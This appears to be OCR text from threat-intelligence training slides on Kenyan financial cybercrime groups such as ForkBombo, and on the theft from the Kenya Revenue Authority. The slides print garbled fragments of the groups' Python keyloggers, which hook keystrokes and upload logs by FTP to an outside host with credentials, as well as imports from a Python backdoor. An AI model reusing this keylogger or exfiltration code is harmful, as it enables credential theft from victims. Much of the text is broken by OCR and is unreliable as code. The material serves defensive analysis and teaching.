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Active Defense for Adversary Pursuit Class

LABS Day 1

Analyze the provided Report.
Choose a threat group.
Target it.

C4ISR operations.

Target package briefing.

LABS Day 2

Analyze collected intelligence.
Which organization are they
targeting next?

Laterally move from that
server and find the next one.
Infil.

After Action brief.




NEWS

Accounts of suspects in Sh4bn KRA theft
frozen
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Kenya: Member of Hacking Syndicate Charged with Stealing Millions

@ Published: Thursday, 23 March 2017 17:09 WRITTEN BY JONNY WRATE
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The ForkBombo
Cyber Cartel.
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The Assets Recovery Agency {ARA) has obtained court orders freezing the acom

yearcharged with stealing Sh3.9 billion from the Kenva Revenue Authority (KF

The court issued the orders inresponse to the ARA’s petition indicating that Dan

Motors Intemational’s accounts at a local bank may be part of a plot by the sus)

MrWambugu has been charged alongside 11 otherindividuals with stealing Sh

KRA records to cover up the scam.
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In Summary

The crooks installed malware into the KRA
systemns that allowed them to take control of
the institutions’ computers and steal hundreds
of millions.

On Monday, police detectives from the Special
Crime Prevention Unit, SCPU, and the Flying
Squad smashed the syndicate and arrested a
former police officer.

On 'Wednesday evening, KRA confirmed that
its staff members had been part of the
syndicate and were under arrest.

In December last year, four banks were
attacked and they lost Sh130 million which

Was never recovered.
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The court has allowed police to detain them for 20 days for further investigations. PHOTO | JEFF

By JOHN KAMAU
More by this Author

By STELLA CHERONO
More by this Author
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Kenya Revenue Authority, several blue-chip

banks, a parastatal and a supermarket chain
are some of the institutions penetrated by
an international cybercrime syndicate that
took off with hundreds of millions of
shillings - before they were all seized on

Monday and Tuesday.



(J GoToMyPC

Installed by an insider
Remotely paid access
Laterally move around via
psexec and share<




| The Keyloggkhy) 2014 to 2017

pythoncom , pyHook , sys, logging, socket, datetime, o0s, win32gui,t

ime threading Timer
threading Thread
LOGGED _IN=os.getenv( USERNAMEO
ftplib , base64 file_name=o0s.getenv(‘userprofile’)+" " +LOGGED _IN+" .tar.gzn
keyids = { now = datetime.datetime.now()
8:'bksp' , 0:
9:'tab' ,
13:'enter' ,
19:'Pause’, (self, event):
20:'capslock’ , =TT 73 ~q KeylD = event.KeylD
7 . Ascii = event.Ascii
0: // \ self.onApp (event.WindowName )
KB = KeyBoardHook () \\\
. \\ \
hm = pyHook.HookManager () \\\ \\ e
hm.KeyDown = KB.onKeyboardEvent =~ _ <7
hm.HookKeyboard ) T TT-—=--77 DN
pythoncom.PumpMessages () S~
| { H
#print dir (ftplib ) AN ZIp .tar.zip .tar.gz
ftp = ftplib.FTP (‘fip.drivehg.com ' , "t echdynamic' , "' P@ssw d )

with open(file_name,” rb") asf:


http://ftp.drivehq.com/

I The local Advanced Financial Threats (AFTs) after breakir
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GRAPZONE
THREAT
GROUP

FORKBOMBO
CYBER

CARTEL

RUIRUSHEPHERL
THREAT GROUEF

FORKBOMBO
GROUP (MINI

SILENTCARDS THE CONSULTA
THREAT
They broke up into five groups in 2017 GROUP

Some parts of the cartel went back into a group with same TTPs @ Group rivalries started between several group managers
Then arrested in Rwanda after they broke up.



SIMILARITIES IN TOOLING AFTERL2B847ggers’ inic

- . #main loop #print COMPUTER_NAME
1  Grapzone i HailMary keylogger. LOGGED_IN=0s.getenv( USERNAME')
SOs = Thread(target= ,args=()) FILE_NAME=os.getenv(‘userprofile’)+"\\"
. SO0s.start() +LOGGED_IN+" tar.zip"
##getSystemVerilon() #target_page = 'Connect to Server'

.LOG—TEXT - Gog = Thread(target= , finger =0

if event.Ascii == 8: LOG_TEXT +="[Bcks]" args=0)) def 0:

elif event.Ascii == 13 : LOG_TEXT +="[ENT]\n" Gog.start() print os.environ

elif event.Ascii == 9: LOG_TEXT +="[Tab]\n"

elif event.Ascii == 14 or event.Ascii == 15: LOG_TEXT +=
“[Shift]\n” 2 SilentCards i LandCruizer.

else: LOG_TEXT +=str(chr(event.Ascii))
print LOG_TEXT

def klg():
hm = pyHook.HookManager()
The Consultants T KLG aka Koko Logger. hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
keyids = { pythoncom.PumpMessages|() #will wait forever
8E:bkslp', #print COMPUTER_NAME retum True #main("land_cruiser");
2f _t,ab ' LOGGED_IN=0s.getenv( USERNAME") print "Threads running"
13:|enter g file_name=o0s.getenv(‘userprofile’)+"\" +LOGGED _IN+" .tar.gz"
19:"Pause’, now = datetime.datetime.now()
20:'capslock’, class 0:
27:'Esc', '
def kig():

KB = KeyBoardHook()
while True:



INEW GROUPS

CONSULTA
THREAT GR

., ) SHEPHERDS
AT GROUP

GRAPZC
THREAT GF

Threat Intel

FORMI NG

No longer using
Startup folders

Use of a new

python backdoor

The Consultants
could be re-grouping
& joining
them up




|l New Python3 Backdoor Capability

special_ commands =["upload"”, "download", "setshellcode"]
from base64 import (

b64encode as benc,
urlsafe b64decode as bdec

- 1 try:
I:gm E;I;;]rlr;g?rl:;rgr?grﬁdS i ' kernel32 = windll.kernel32
from random import randint exceptNameError:
from binascii import hexlify wass
from tabulate import tabulate
from threading import Thread
from importlib import reload S
from shellcodes import utils T ——_oo-
from collections import deque
from flask_talisman import Talisma
from flask.logging import default_he
from base64 import urlsafe_b64enc
from argparse import

Threat Intel



|l New Python3 Backdoor Capability
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